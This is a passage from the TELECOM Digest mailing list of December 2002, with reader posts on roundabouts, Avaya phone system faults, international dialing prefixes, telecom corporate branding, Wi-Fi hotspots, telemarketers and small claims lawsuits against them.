wrote, saying: >> Changing our four-way stops to traffic circles -- *THAT* would be >> unnecessary, expensive, and extremely dangerous!! > Well said, Sir! I've never understood the British passion here for > installing traffic circles (""roundabouts"") all over the place. We > have big ones, small ones, some that are just a small bump in the > road, and some stretches of road where there is one of these tortuous > systems every 200 yards or so. Totally unnecessary, and one of things > that makes driving in the States a pleasure. I disagree, and I live in Canada -- for the most part, our road system is set up like the American system. Over the course of, roughly, 1975 through 1995, the last of our traffic circles were phased out. But in the last couple of years, the City of Calgary has installed two new ones, in Mackenzie Towne and Garrison Woods. In both cases, they've improved the flow of traffic. The one in Mackenzie Towne has five roads leading into it, which would have made a ""regular"" intersection rather difficult. The one in Garrison Woods used to be a three-way stop until they rebuilt it. I drive through this one about 3 or 4 times a week. There's another route I could take that doesn't pass through the roundabout, but it take about a minute longer. Whether or not a roundabout is on my route doesn't enter into my consideration of whether or not to take that route. Consider that if the UK didn't use roundabouts, but instead used two-way stops, four-way stops, or traffic lights to control traffic at all of the intersections you describe (ie: ""every 200 yards or so""), traffic would move much, much slower. Y'ever tried to make a left hand turn (or a right-hand turn in the UK) onto a busy street from a quiet side street on a two-way stop? You can wait for several minutes! I don't have the numbers handy to back this up, but I seem to recall a study done a few years back that purported to ""prove"" (I know, I know, probably too strong a statement) that traffic circles are far more efficient at handling traffic than any of the three situations I just spelled out. About the only thing that works better is a full-blown cloverleaf, which is reserved for MAJOR roads as they're major wasters of space. Consider that in the UK, unless traffic is very heavy, you can generally get from point A to point B without ever having to stop your car and wait at some stupid red light -- even though there's no traffic crossing. You just keep moving -- sure, much more slowly as you move through the roundabout, but at least you're STILL MOVING. Yes, in rush hour, they can clog up pretty good -- but no worse than a two-way stop, four-way stop, or traffic light intersection would, and very likely not nearly as badly (my grammar teacher is twisting in his grave). I submit to you that you probably find driving in North America far more pleasurable because of a road system designed for motorized, or at least mechanized, vehicle traffic -- as opposed to much of Great Britain (particularly London) which is still, to this day, laid out around footpaths and cartpaths. In much of North America (and especially here in Calgary, a Western Canadian city that's only been here since just before the advent of the automobile), a high premium is placed on building roads that continue STRAIGHT for as long as possible, with as few bends, curves, and whatnots as possible. Try building such a road in London -- you can't get, as you say, 200 yards without bumping into a building. Also, North American roads are considerably wider than British roads, which all by itself gives you a certain feeling of ""comfort"" that you just don't get driving in the UK (except maybe on the M1, which is tres wide, but I'm referring to average city streets). North American drivers have trouble with roundabouts cuz they're not used to them. But I've seen both in extensive action and I've even driven through a few roundabouts in my day (ie: in the UK), and I find them far, far preferable to this ""let's put up a stop sign every 200 yards"" approach favoured in North America. I'm tired of stopping behind the pinhead at the red light who, in an effort to prove to the rest of us cretins that he is ""safer"" than we are, stops 6 meters back of the stop line and thus fails to trip the road sensor -- meaning we all sit there for eons staring at a red light that will never change (at least until someone walks up to his window and tells him to stop being such a freaking reject). :-) I still haven't quite mastered the right-of-way rules for a multi-lane roundabout tho ... :-) Joey Lindstrom - Laird's Flooring joey@lairdsflooring.com ------------------------------ From: riverwlk@ntsource.com (A Nicholas) Subject: WiFi Publication For Hotspot Owners Date: 12 Dec 2002 12:39:42 -0800 Organization: http://groups.google.com/ You can get more details on how to manage 2nd generation Hot Spots at http://www.busdevcenter.com/The%20Hottest%20Spot.htm ------------------------------ From: This Old Man Subject: Re: Avaya IP Office 406 Issues Organization: Prodigy Internet http://www.prodigy.com Date: Thu, 12 Dec 2002 21:05:19 GMT It's done. Dial-by-name is coming next week and Avaya promised to RMA the 24 defective handsets out of the 90 delivered. *TOM Rich Campbell wrote in message news:telecom22.176.13@telecom-digest.org... > All I can say is WOW! And you are going to install this? > Rich >> We just got a new IP Office 406 system in our office in San Jose, >> CA. I'm in IT and will help manage the system. We have complete >> support from a local VAR for one year, however this is the first >> implementation for IP Office so they are learning, too. >> So far our major issues are: >> 2) Programming DSS buttons crashes the system. Our VAR said Avaya said >> this is a known problem and they are working on it. What we are trying >> to accomplish is, for example, I want to be able to answer the phone >> of my assistants extension and I want it to actually ring on my phone. >> On our old NEC system it was an appearance light on the phone. Our >> VAR said I had to use DSS, but 1) the phone does not actually ring - >> the line only flashes, and 2) it crashes the system, or actually the >> digital card, the VAR said. >> 3) We have to reboot the system when we want to add extensions and >> update other settings. So far, the ""Merge"" option has not worked for >> us. >> 4) The 4412D+ handsets are nice but they do not fit well into the >> cradle, and sometimes leave the phone off-hook! >> We have 3 30-port D-term modules and two analog modules. We also have >> Voicemail Pro with Phone Manager Lite. >> If there is other information I can provide please let me know. If >> there is another forum or website I should also be looking at, I'd >> appreciate that information, too. ------------------------------ From: PaulCoxwell@aol.com Date: Thu, 12 Dec 2002 17:00:37 EST Subject: Re: 011+ From NANP vs. 00+ From Most of World >> Understandable, only if you consider the wild mishmash of >> international prefix codes that USED to prevail across the world. A >> consensus did emerge, and many countries - EVEN INCLUDING the UK! - >> agreed to throw away their proprietary prefixes and implement the >> proposed standard prefix. Only a few countries disagreed. The 19 >> countries that Linc listed comprised most of them. > Maybe I've missed an issue of the Digest somewhere, as I don't remember > seeing such a post from Linc. ???? > Still, 19 was used by France and its colonies/followers. 19 might seem an Oops! I've just re-read that and realized that you were referring to the 19 (quantity) countries using 011, not a list of countries using 19 as their IDDD prefix. Sorry! So obsessed with IDDD prefixes, that I'm seeing them everywhere ;) Paul Coxwell Norfolk, U.K. ------------------------------ Date: Thu, 12 Dec 2002 22:06:43 GMT From: Richard D G Cox Subject: Re: 011+ From NANP vs. 00+ From Most of World Reply-To: nospam@numbering.com Organization: Mandarin Technology Limited On 12 Dec 2002 14:09 (UT), PaulCoxwell@aol.com wrote to TELECOM Digest: >> The 19 countries that Linc listed comprised most of them. > Maybe I've missed an issue of the Digest somewhere, > as I don't remember seeing such a post from Linc. ???? It was TELECOM Digest V22 #173; I've mailed you a copy! > Reading numbers may at present be limited to 3xx and 9xx, but the > whole point of expanding the local numbers to 7-digits was to increase > capacity for the future. That means that within a few years we almost > certainly *will* see other Reading prefixes. No chance -- unless there is political interference! The growth in demand for numbers in the UK stemmed from the arrival of multiple competing operators, each wanting their own local ranges, and there is now very little real growth of significance. >> Also, there has never been a UK number range 0119, nor is there any >> scope to create one under what passes for UK current numbering policy! > 0119 is a spare code at present, but there's no reason why it couldn't > be adopted when the next growing city is forced to migrate to 7-digit > numbering. There is a very good reason why it couldn't - please read what I wrote: ""nor is there any scope to create one under ... current numbering policy"" The present policy is that when any growing city has to provide for more local numbers than a six-digit scheme will accomodate, it will change to an EIGHT digit scheme, with a regional, rather than local, area code of the for 02X or possibly 03X. There will be NO more new codes under 01. > As for ""what passes for UK current numbering policy,"" I agree with > your sentiments entirely. The mess that's been made of the network > in the last few years is just incredible! Almost all the changes in the last few years have been to correct the havoc that had previously been wreaked by a very misguided individual; now we have a thought-through policy, which obviously is restricted in implementation to particular parts of the country: but provided we follow it we should end up with a stable and well-understood scheme; indeed, one as well-understood and easy to use as the NPA-NXX scheme in manner way it was *originally* introduced in World Zone One. With an added bonus that WE have consistent dialling plans, and they don't! But then I would say that, wouldn't I? ;-0)) > already an accepted practice to indicate international numbers There is already an accepted METHOD to indicate international numbers, but I would not call it an accepted practice until such time as the average user (such as is often referred to in here as ""Joe-Sixpack"") is in the habit of using the +CCC notation. Until then we have to assume (and if you look at advertisements that have an international audience, you will see that THEY also assume) that the average user knows NOTHING about + anything, and if they're going to be making any phone calls they'll want to see the number they have to call in the exact format that they will have to dial it, digit by digit. Sometimes we who work in, or close to, the technology industries, take for granted far too much about the level of understanding of others outside those industries: both about the technology and how it is meant to affect them. I'm conscious that I also tend to make this mistake from time to time, and then I have to stop and explain things clearly. > I'd say that this was very unfortunate for the people in Nottingham > who were disturbed by the calls, but I don't believe that national > and international telephone networks should be forced into expensive > and unnecessary changes just because a few sleaze merchants can't be > bothered to advertise their number properly. It isn't just the sleaze merchants ... the problem of advertising domestic numbers across international borders is well established. It contributed to the reason why, for example, Eire (the Republic of Ireland), uses 1800 and not 0800 as in the UK and Northern Ireland. One of they KEY objectives of anyone designing a telephone numbering plan, is to minimise the impact of misdialling which, statistically, is bound to happen. > Come to think of it, if so many people in the U.K. know that the > IDDD prefix is now 00, why did so many dial 011 592 in the belief > that they were calling Guyana? I don't believe that many people in the UK know that the IDD prefix is ""00"" -- hence the number that fall for ""scam"" numbers like 00683, and 00690, which are short enough to look like domestic numbers. People only find out their mistake when their phone bill arrives! But in the case I was quoting, they didn't know they were calling Guyana. They didn't know where they were calling. All they knew was that the web page said that to hear various erotic material, they had to dial 011 592 5xxxxx. And that's exactly what they did. > Better yet, how about the ITU committing itself to ridding the > world of this garbage once and for all? Until recently, the ITU actually *protected* such schemes because of the revenue they brought to their various ""members"" - even though they contravene the official recommendations by having numbers route calls to countries other than those to which the ITU allocated the country code used -- and the ITU ""Nairobi Convention"" in particular has been used as grounds to bring legal cases to stop operators from protecting their customer base by blocking access to the fraudulent number ranges. Only in the last year or so have I seen letters from the ITU that attempt to point out the hidden dangers of such schemes. Hopefully one day they will start to take a more ethical position. Richard D G Cox Penarth, UK (+4429) ------------------------------ From: Barry Margolin Subject: Re: The Farce of National Branding Organization: Genuity, Woburn, MA Date: Thu, 12 Dec 2002 22:21:26 GMT In article , wrote: > [TELECOM Digest Editor's Note: Well that is similar also to here in > the USA where Sprint bought United Telephone Company (or the other > way around, who knows) then promptly declared they had 'more than a > century of experience in telecommunications. This is also similar to my own company's marketing. Here's a quote from one of our annual reports: When the Internet was first conceived, we were there, helping to make it happen. In fact, we built and operated some of the first components, the packet switches and routers. We sent the world's first e-mail. However, the company named Genuity didn't exist in the 70's when this was all happening. The company the above quote is talking about is Bolt, Beranek, and Newman (BBN). BBN was acquired by GTE 4-5 years ago, and then Genuity was spun off as a public company 2 years ago when GTE merged with Bell Atlantic to form Verizon. At first glance, it seems like there's direct continuity that makes our claim reasonable. However, the part of GTE that was spun off was just the group that runs the network and sells Internet-related services. They kept the R&D division that used to be called BBN Systems and Technology; it's now the BBN Technologies division of Verizon. If any group has legitimate claim to having ""sent the world's first e-mail"", it's them, since all that early work was a big ARPA R&D contract that BBN won. And as for ""the packet switches and routers"", that was probably BBN Communications, which was sold by BBN 6 or 7 years ago (to Lightstream, I think). I don't think we have any advanced R&D or electrical engineering positions in the current company. Almost no one who authored any RFC's is employed by Genuity. I think Craig Partridge was probably the most prolific BBN'er in that respect (his name is on 27 RFC's). He was in BBN S&T when we spun off; I don't know offhand if he's still there, but I know he doesn't work for Genuity. Basically, if a company can find any link to claims like this, no matter how tenuous, they feel justified in using it to bolster their reputation. It's not like most consumers are going to check the claims. And even if someone does dispute them, they can probably legitimize it by pointing out that due to reorganizations and employee mobility between divisions, there's some overlap between us and the original Internet designers. Barry Margolin, barmar@genuity.net Genuity, Woburn, MA *** DON'T SEND TECHNICAL QUESTIONS DIRECTLY TO ME, post them to newsgroups. Please DON'T copy followups to me -- I'll assume it wasn't posted to the group. ------------------------------ From: sjsobol@JustThe.net (Steven J. Sobol) Subject: Re: The Farce of National Branding Date: Fri, 13 Dec 2002 02:11:20 -0000 Organization: JustThe.net LLC From 'John Higdon' : > Today, SBC announced that it is tossing the name ""Pacific Bell"" and > ""PacBell"". Anyone with a pulse could see this coming, but what is > annoying is the SBC perpetuation of the myth of ""branding"". On the radio I heard that SBC Ameritech is now known as SBC. > Brands used to mean something. In this case I don't think it matters. SBC took the original companies and turned them into crap, and everyone knows it was SBC that did it. I don't know about Pacbell, but Ameritech was fair-to-middling in the Customer Service department before ""We don't give a rat's ass about anyone"" SBC moved in. > Brand names today are meaningless. I disagree. > company, Pacific Telesis. SBC simply handed over cash for a going > business. So SBC lies; this is nothing new. If you were interested you might be able to get them into trouble for false advertising. > The name of the park is about to be changed to ""SBC Park"" (how > catchy!). San Francisco loses yet another bit of history and landmark > identification; SBC perpetuates its worthless and meaningless > ""national brand name"". Wasn't Candlestick Park renamed 3Com Park? How is that any better? Steve Sobol, CTO JustThe.net LLC, Mentor On The Lake, OH http://JustTheNetLLC.com/ 888.480.4NET (4638) A practicing member of the Geek Orthodox religion! ------------------------------ From: Reed Subject: Re: The Farce of National Branding Date: Thu, 12 Dec 2002 20:09:27 -0700 Organization: None Whatsoever George Mitchell wrote: > John Higdon wrote: >> Brands used to mean something. Companies were founded, they created >> products, and they identified them as unique with brand names. Today, >> as a general rule, products are created and manufactured in nameless, >> faceless foreign labs and factories and sold in bulk to a marketing >> company, which puts its brand on it. > Certainly more true than it used to be, but there are still some brands > that mean something. The only example that comes to mind, offhand, is > Hershey. > What I've noticed lately is a correlation between a company buying the > rights to name a sports arena, followed within a couple of years by > severe financial trouble at the company ... > -- George Mitchell (obfuscated email address) Re Hershey, their own brand may be OK, but they recently bought a previously family owned, successful hard candy company, here in Colorado (Jolly Rancher) then closed the plant, fired all the employees, moved production to Canada, but still sell under the Jolly Rancher name. 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All opinions expressed herein are deemed to be those of the author. Any organizations listed are for identification purposes only and messages should not be considered any official expression by the organization. End of TELECOM Digest V22 #180 ****************************** >From editor@telecom-digest.org Fri Dec 13 01:06:11 2002 Received: from localhost (localhost [[UNIX: localhost]]) by massis.lcs.mit.edu (8.11.3nb1/8.11.3) id gBD66BV02016; Fri, 13 Dec 2002 01:06:11 -0500 (EST) Date: Fri, 13 Dec 2002 01:06:11 -0500 (EST) From: editor@telecom-digest.org Message-Id: <200212130606.gBD66BV02016@massis.lcs.mit.edu> X-Authentication-Warning: massis.lcs.mit.edu: ptownson set sender to editor@telecom-digest.org using -f To: ptownson Approved: patsnewlist Subject: TELECOM Digest V22 #181 TELECOM Digest Fri, 13 Dec 2002 01:06:00 EST Volume 22 : Issue 181 Inside This Issue: Editor: Patrick A. Townson Big Brother and Another Overblown Privacy Scare (Monty Solomon) Satellite TV Firm May Nix Web Services (Monty Solomon) The Wi-Fi Boom (Monty Solomon) TiVo System to Offer Home Music, PC Pictures (Monty Solomon) Anti-Spam Countermeasures (Monty Solomon) Re: Ravings, was Re: Call Waiting Prison and Telemarketers (Gail M. Hall) Re: NEC VOIP is Making a Good Impression (Rich Campbell) Re: Listing in Areacode-Info.com and TELECOM Digest (Greg Andrews) Re: Determining Cell Phone System Coverage (Joseph) Success Against Telemarketers in Small Claims Court (John R. Covert) All contents here are copyrighted by Patrick Townson and the individual writers/correspondents. Articles may be used in other journals or newsgroups, provided the writer's name and the Digest are included in the fair use quote. By using -any name or email address- included herein for -any- reason other than responding to an article herein, you agree to pay a hundred dollars to the recipients of the email. WE DO NOT PERMIT NAME/EMAIL ADDRESS HARVESTING FROM THIS JOURNAL. 'SALTED' EMAIL ADDRESSES APPEAR HEREIN TO VERIFY THIS. YOU GET SUED IN SMALL CLAIMS COURT IF YOU GET CAUGHT SPAMMING OR SENDING VIRUSES. DON'T DO IT. See the bottom of this issue for subscription and archive details and the name of our lawyer; other stuff of interest. ---------------------------------------------------------------------- Date: Thu, 12 Dec 2002 22:47:19 -0400 From: Monty Solomon Subject: Big Brother and Another Overblown Privacy Scare D.C. Dispatch | December 10, 2002 Legal Affairs John Poindexter has no more power to compile a computer dossier on you than I do. by Stuart Taylor Jr. Editorial writers and other guardians of privacy have had a field day with the reports that former Reagan National Security Adviser John M. Poindexter has come back as a cross between Dr. Strangelove and Big Brother. Poindexter is watching you, or soon will be, his detractors suggest, as they lovingly detail his 1990 convictions (later reversed on appeal) for his lies to Congress about the Iran-Contra affair. The Web site for Poindexter's ""Total Information Awareness"" program at the Pentagon foolishly fans such fears, featuring the slogan ""Scientia Est Potentia""-Knowledge Is Power-complete with an ominous, all-seeing eye atop a pyramid. Poindexter is ""getting the 'data-mining' power to snoop on every public and private act of every American,"" hyperventilated William Safire of The New York Times, in a November 14 column that helped touch off a frenzy of similar stuff. The Homeland Security Act, claimed Safire, would put Poindexter in control of a vast government database, containing ""every purchase you make with a credit card, every magazine subscription you buy and medical prescription you fill, every Web site you visit ... complaints from nosy neighbors to the FBI,"" and much more. Blather, nonsense, piffle, and flapdoodle. Poindexter has no more (and probably less) power to compile a computer dossier on you than I do. He has no more power to invade your privacy than the Pentagon procurement officer for a new machine gun has to shoot you with it. He might like to create a grand central database in which to fish through billions of transactions and other records for clues on possible terrorists. But he got no such authority from the homeland security bill and -- given his Iran-Contra baggage -- he never will get it. http://www.theatlantic.com/politics/nj/taylor2002-12-10.htm ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Satellite TV Firm May Nix Web Services Date: Thu, 12 Dec 2002 20:49:30 -0500 By Ben Charny Staff Writer, CNET News.com December 12, 2002, 1:51 PM PT Satellite-television company Hughes Electronics on Friday will ""clarify"" its future plans for residential satellite-based Web services, following a published report indicating those services might be discontinued, a company representative said. The Wall Street Journal reported Thursday that Hughes is revisiting plans to let its 11 million DirecTV subscribers use the satellite network for Web services, after a proposed merger with rival EchoStar unraveled this week. Hughes may now curtail the reach of a $1.8 billion plan, dubbed Spaceway, to provide broadband Web services over a satellite network rather than telephone or cable networks, the newspaper said. Spaceway had always been designed primarily for businesses, but Hughes hoped to spin out a residential service to increase its revenue. http://news.com.com/2100-1033-977119.html ------------------------------ Date: Thu, 12 Dec 2002 22:26:15 -0400 From: Monty Solomon Subject: The Wi-Fi Boom By ADAM BAER ON a brisk autumn day in Portland, Ore., Paul van Veen was soaking up some sun as he logged on to the Internet -- from a spot in bustling Pioneer Courthouse Square. Mr. van Veen was looking for a job, and he was surfing the Web over a free wireless connection. These days, Pioneer Courthouse Square is but one of some 140 public spots across Portland with free Internet access using a high-speed wireless technology known as Wi-Fi. The network of such Wi-Fi ""hot spots"" throughout the city was developed by Personal Telco, a grass-roots, nonprofit group devoted to blanketing the city with free access points. Portland and Personal Telco are just part of a growing national trend. There are community groups promoting public Wi-Fi access in nearly every large American city, from NYCwireless, which ""unwired"" Bryant Park and Tompkins Square Park in Manhattan, to KC Wireless in the Kansas City area. They have been joined by independent cafes and restaurants, apartment houses and community centers across the country that view free, easy access to the Internet as a draw for customers. At the same time, subscription services and pay-as-you-go Wi-Fi hot spots are springing up in cafes, bookstores, hotels and airports, put in by companies like T-Mobile and smaller, start-up competitors like Boingo Wireless and Wayport. Last week, Cometa Networks, a new company backed by Intel, AT&T and I.B.M., said it planned to put a network of thousands of wireless access points across a huge swath of the nation by 2004. The result is a growing array of options for Wi-Fi users and the emergence of a mobile wireless culture that spans business travelers, teachers and students, people relaxing in coffee shops and even moviegoers waiting for the show. http://www.nytimes.com/2002/12/12/technology/circuits/12wifi.html ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: TiVo System to Offer Home Music, PC Pictures Date: Thu, 12 Dec 2002 18:23:11 -0500 NEW YORK, Dec 12 (Reuters) - TiVo Inc. (NASDAQ:TIVO) said on Thursday its television recording system will soon be able to play digital music and show pictures stored in personal computers. Data stored in file formats such as MP3 and JPEG will appear on the television that is connected to the TiVo set-top box, company Chief Executive Michael Ramsey told investors at a Credit Suisse First Boston Conference. The company will likely charge an additional fee for the premium service, which will be launched in January at the Consumer Electronics Association's CES conference in Las Vegas, he said. http://finance.lycos.com/home/news/story.asp?symbols=NASDAQ:TIVO&story=30529049 ------------------------------ Reply-To: Monty Solomon From: Monty Solomon Subject: Anti-Spam Countermeasures Date: Thu, 12 Dec 2002 18:27:22 -0500 Anti-Spam Countermeasures Arik Hesseldahl, 12.12.02, 10:00 AM ET NEW YORK - The next time you check your e-mail and want to curse the lowlife responsible for all that unwanted commercial e-mail -- aka spam -- you might start cursing into a mirror. Hate the sender all you want, the sad fact is that you may very well be the person ultimately responsible for the spam you receive by giving your address out to various Web sites, posting it to newsgroups or mailing lists, or otherwise exposing it in places where anyone can find it. It's pretty common these days to use a decoy account. Use one account on a free service like Microsoft's (nasdaq: MSFT - news - people ) Hotmail or Yahoo! (nasdaq: YHOO - news - people ) to give out to Web sites and mailing lists, while keeping your ""real"" e-mail account -- that is, the one you want your friends and family to actually use -- a secret given only to trusted people. That works to a point. But it means keeping track of more than a single e-mail account, which can present its own set of organizational challenges. But a Web service called Spamex gives you a new weapon: A disposable e-mail address. The minute spammers get their grubby little paws on it, you can turn it off so that the next time they try to spam you, the message bounces back as though your address was never there. http://www.forbes.com/2002/12/12/cx_ah_1212tentech.html ------------------------------ From: Gail M. Hall Subject: Re: Ravings, was Re: Call Waiting Prison and Telemarketers Date: Thu, 12 Dec 2002 18:52:52 -0500 Reply-To: gmhall@apk.net On Thu, 12 Dec 2002 11:29:13 -0700, in comp.dcom.telecom message , you wrote: Actually, the "">>"" is Pat's text. >> I had some calls a couple days ago like that. The >> calls tripped the privacy manager condition, and 'pressing 1' to hear >> the callers name got me some telemarketer's name and number. I chose >> to respond by 'pressing 3' to have a pre-recorded message delivered to >> the caller saying 'I do not take telemarketing calls, please remove >> this number from your list'. I then hang up, and within about one >> minute more or less the phone rang again. It was Privacy Manager >> calling again, with the same person this time recording their 'name' >> as 'I am not selling anything'. I figured what the heck, let's see >> what the lady is doing if not selling anything. It turned out she >> was 'taking a survey of long distance carriers' and offering a free >> month of her carrier. After damning her to hell I slammed the phone >> down again. > Yeah, this is their latest trick. Even the door-to-door people are > doing it. At the office I work at, we have a ""no soliciting"" sign on > the door. Often, I see them walk up, see the sign, and carry on PAST > our door. But a few just waltz right in. I usually stop them, with a > SMILE, and say ""sorry, we're not interested, and we have a 'no > soliciting' sign there on the door"" and I point towards it. It's not > at eye-level so it can be missed, and often I'll get a ""oh, I'm > terribly sorry, I didn't see the sign"" response and everything's cool. > But sometimes I get the hot-shot who figures he can make the sale > despite the roadblocks he faces, and that is their latest trick: to > claim that they're not ""soliciting"". Why they bother, I have no idea: > I've already made it clear that I'm absolutely not interested in > whatever it is he's selling, and now he's pissed me off. Yeah, that's > a good way to persuade people. :-) > Anyways, what I do now is this: the very moment they claim they're not > soliciting, I say ""hang on a sec"", reach behind me, and pull out a > pre-printed page, and hand it to them. They read the following text: > Definition Of ""Soliciting"" > -------------------------- > 1) To seek to obtain - by persuasion, entreaty, or formal application > - trade or charity. > 2) To petition persistently; importune. > 3) To entice or incite to evil or illegal action. > 4) To approach or accost (a person) with an offer of sexual services. > If you are here for any of these purposes, we are not interested, > thanks. Not bad! If I had more patience, I would pull something like that on the telemarketers. :-) > I've handed out eight of these so far in the last year. Seven of > them just sorta shrugged and walked out (and all seven of them took > the sheet with them). An eighth guy, with enlarged testicles, again > started the denial line about how he wasn't actually selling > anything, he was just here to inform me of this, that, and the other. > I interrupted him and said ""Yeah, but look at #2. You're petitioning > me persistently, and you've importuned me"". I half expected him to > ask me to define ""importune"" cuz he looked kinda puzzled. Then I > guess he finally realized that even if he won the argument, he'd lost > the war. He turned around and walked out the door. :-) So far we are lucky that we don't have many house-to-house salespeople here, mainly people soliciting for charity or religions. But I expect a recent Supreme Court decision may change that. The JWs were told they would have to ""register"" in some town, which I have forgotten the name of, and apparently the court said that was in infringement of freedom of speech. > Don't get me wrong: politeness works most of the time. It's the > rat-bastards who won't take no for an answer that require stronger > measures. :-) I agree. I am not as polite with telemarketers as I used to be. I think I may check into the cost comparisons of ""voice mail on busy"" as an alternative to Call Waiting for the person I was talking about who always gets the other call, even when I'm paying for the call. For a while I thought Voice Mail on my wireless phone would be a Good Idea. But now I am having strong second thoughts. I am seriously thinking of having Voice Mail turned off and just be more careful about checking my home phone answering machine when I'm away for more than a day or so. I found out I get minutes deducted for each call that I don't answer that goes to Voice Mail, whether or not they leave a message. It could be a real problem if someone decided to leave a long message or if that phone number got found by telemarketers. Joey talked about the ""droids"" who always try to sell a service even when the caller is calling about an existing service. Many phone companies are doing the same thing now. They say they are reducing the sales staff and having the customer service people do more selling. I think that will backfire on them unless they are also told to back off quickly when customers decline to hear their pitch. I don't know how long it will last, but the few times I have talked with Verizon Wireless reps, they have not tried to pitch other services to me. SBC/Ameritech has a policy now of asking their reps to try to pitch other services to customers. Gail in Ohio USA ------------------------------ From: Rich Campbell Subject: Re: NEC VOIP is Making a Good Impression Organization: AT&T Broadband Date: Thu, 12 Dec 2002 23:53:41 GMT I don't think it's that unique ... and the networking will by proprietary rather than using an open protocal like QSIG. Rich wrote in message news:telecom22.179.10@telecom-digest.org: > TELEPHONY/CTI > VoIP shifts balance of power. > New contact center technology introduces a different legacy... [more] > A study in telephony evolution. > A growing student body with an expanding campus complex demands > converged IP telephony system. > As the vice president for information systems and business services at > St. Petersburg College in southwest Florida, Conferlete Carney is > actively involved in the school's evolution. Since 1927, the two-year > junior college has grown into a full-fledged, four-year academic > institution, serving more than 17,000 students from 10 sites in the > Tampa Bay area. > Yet, the college's migration to four-year status is not the only > evolutionary process Carney has witnessed. The college has begun a > four-phase program to move from its traditional time-division > multiplexing (TDM)-based telephony system into voice over Internet > protocol (VoIP), an environment that delivers voice, data and video > communications over a single converged network. > ""Our decision,"" Carney says, ""was based on the physical layout of our > 10 campuses, a major expansion at our Seminole site, the > education-specific features that voice over IP can deliver and > analyzing the management costs of using just one network to handle > both voice and data traffic. We wanted to avoid further TDM > investment."" > The move to VoIP was motivated by a significant reduction in the time > and money spent in adding, removing and changing phone numbers. ""Just > the simplification of managing the voice network is enough reason to > go to IP telephony. In a converged environment, a telephone can be > plugged into the network anywhere on campus and keep the same phone > number,"" explains Carney. > The VoIP network also increases the school's capacity to handle future > voice and data traffic, and facilitates several advanced applications > it plans to integrate into its network. For example, unified messaging > can deliver messages through multiple media simultaneously, including > wireless, e-mail and traditional voice mail. > Through another application-E911-campus security personnel are > instantly notified, and can conference into the call whenever someone > on campus calls a local 911 agency. Campus security then works with > local police, fire and other emergency services so that an incident is > addressed promptly and correctly. > When evaluating each VoIP vendor, Carney and his staff weighed the > interoperability factor, whether the VoIP platform would be able to > operate reliably on the college's data network, comprised primarily of > both Cisco and Extreme Networks routers and switches. ""We surmised > that NEC's VoIP products were engineered to work in an open > environment, which enables them to work successfully in virtually any > infrastructure."" > St. Petersburg College started the upgrade process by installing NEC's > NEAX 2400 IPXs at three of its 10 sites, first deploying in strategic > locations, such as remote offices and satellite facilities. Other > locations are still using traditional circuit-switched telephony until > the evolution is complete next year. > ""The IPXs are unique in that they allow us to deploy both VoIP and TDM > telephony, in any combination, where we need it,"" Carney says. ""As we > bring more of our campus toward this converged environment, the IPXs > enable us to deliver more VoIP without disrupting the network."" > The next challenge was the migration of some 2,000 legacy telephones > into IP telephony instruments, capable of handling both existing and > future needs. ""With some VoIP telephones costing in the neighborhood > of $700 per unit, a total replacement of our instruments was > economically unrealistic,"" says Jeff Rohrs, telecommunications manager > at the college. ""NEC provided us with IP adapters that plug into each > phone, providing the IP connection for each unit, and they work just > as well in TDM environments."" > When it completes its evolution, St. Petersburg College will have a > total VoIP network with IP telephones, soft phones that are installed > on desktop and laptop computers, and wireless converged devices that > deliver both voice and data connectivity enterprise-wide-without > disrupting the current communications system. > For more information from NEC: > www.rsleads.com/212cn-256 ------------------------------ From: gerg@panix.com (Greg Andrews) Subject: Re: Listing in Areacode-Info.com and TELECOM Digest Date: Fri, 13 Dec 2002 00:45:20 UTC Organization: I have a map of the United States that's actual size John Higdon writes: > Excuse me. 408/264 (historical ANdrews 4) is THE flagship exchange of > the Pacific Telephone ... er ... Pacific Bell ... uh ... SBC SJ12 > central office. it dates back to the mid-fifties. If that web site > cannot give any information for that area code/prefix combo, it isn't > worth much. Wasn't it 415/264 before 1959? ::::::::::::: Greg Andrews ::::: gerg@panix.com ::::::::::::: I have a map of the United States that's actual size. -- Steven Wright ------------------------------ From: Joseph Subject: Re: Determining Cell Phone System Coverage Date: Thu, 12 Dec 2002 14:45:14 -0800 Organization: Posted via Supernews, http://www.supernews.com Reply-To: joeofseattle@yahoo.com On 12 Dec 2002 08:26:10 -0500, Rick Wessman wrote: > We live near Rochester, NY and currently use Sprint PCS. The coverage > is spotty, especially in more rural areas. We would like to switch to > another service, but would like to make sure (at least as much as > possible) that the coverage will be better. > Is there some resource that lists the towers used by the various > services? I'm hoping that that will help to tell us how good a > service's coverage is. http://www.berkana.com/tower.html shows various towers, but not all. Some are listed by a past name. Some are probably on tower aggregators so they may not be listed. As far as gauging mobile reception where you are advice from people about cities or towns won't be very useful to you. If you have near neighbors and they have mobile service asking them would be the prudent thing to do. If they have good service you might ask them if they could come over to your house and you could observe how good or bad the service is. Keep in mind that mobile service is very dependent on location location location! If you have lots of terrestrial objects whether they be buildings or hills it will ultimately affect what kind of coverage you get. Mobile phone service is essentially radio service and is subject to the same types of limitations as radio is. If coverage is spotty with Sprint it may also be spotty with other carriers, but not necessarily. It's pretty much trial and error to find who does (if anyone) cover your area well. If you happen to be in the ""shade"" you may be out of luck entirely. Replies are seldom read. Please reply in the group ------------------------------ Date: Thu, 12 Dec 2002 18:03:41 -0500 (EST) From: John R. Covert Subject: Success Against Telemarketers in Small Claims Court I've been doing pretty well against telemarketers here in Massachusetts. So far this year, the court has awarded me $2000 (plus $113.66 in court costs and interest) in three separate cases, $500 in January (which has been paid along with its costs and interest) and $1500 three weeks ago. In addition, since 1999, I have settled four other claims prior to the court dates for payments of $200, $269, $500 and $500. Here are the small claims filings for the recent cases: Plaintiff's Claim. The defendant owes $1500 plus $19.00 court costs for the following reason: On 8 July 2002 at 2:56:39 pm, defendant initiated a telephone call to my residential telephone line, 978 2xx-xxxx, using a pre-recorded voice to deliver a commercial message without my prior express consent. This is a violation of 47 USC 227(b)(1)(B). 47 USC 227(b)(3)(B) provides for a private right of action to receive $500 damages for each such violation. The court may increase the amount of the award to $1500 ""if the defendant willfully or knowingly violated this subsection."" /s/ 27 July 2002 The clerk-magistrate awarded $500 (plus costs and interest), and in this case the defendant has appealed to a Small Claims judge (paying $129 to do so). My response to the appeal may be read at http://soapbox.covert.org/Pleading9-Dec-2002.txt -- it would be most triumphant if the appeals court judge _increases_ the award to $1500. And the other recent case: Plaintiff's Claim: Defendant owes $1000 plus $19 court costs for the following reasons: On 24 Oct 2001 at 14:20 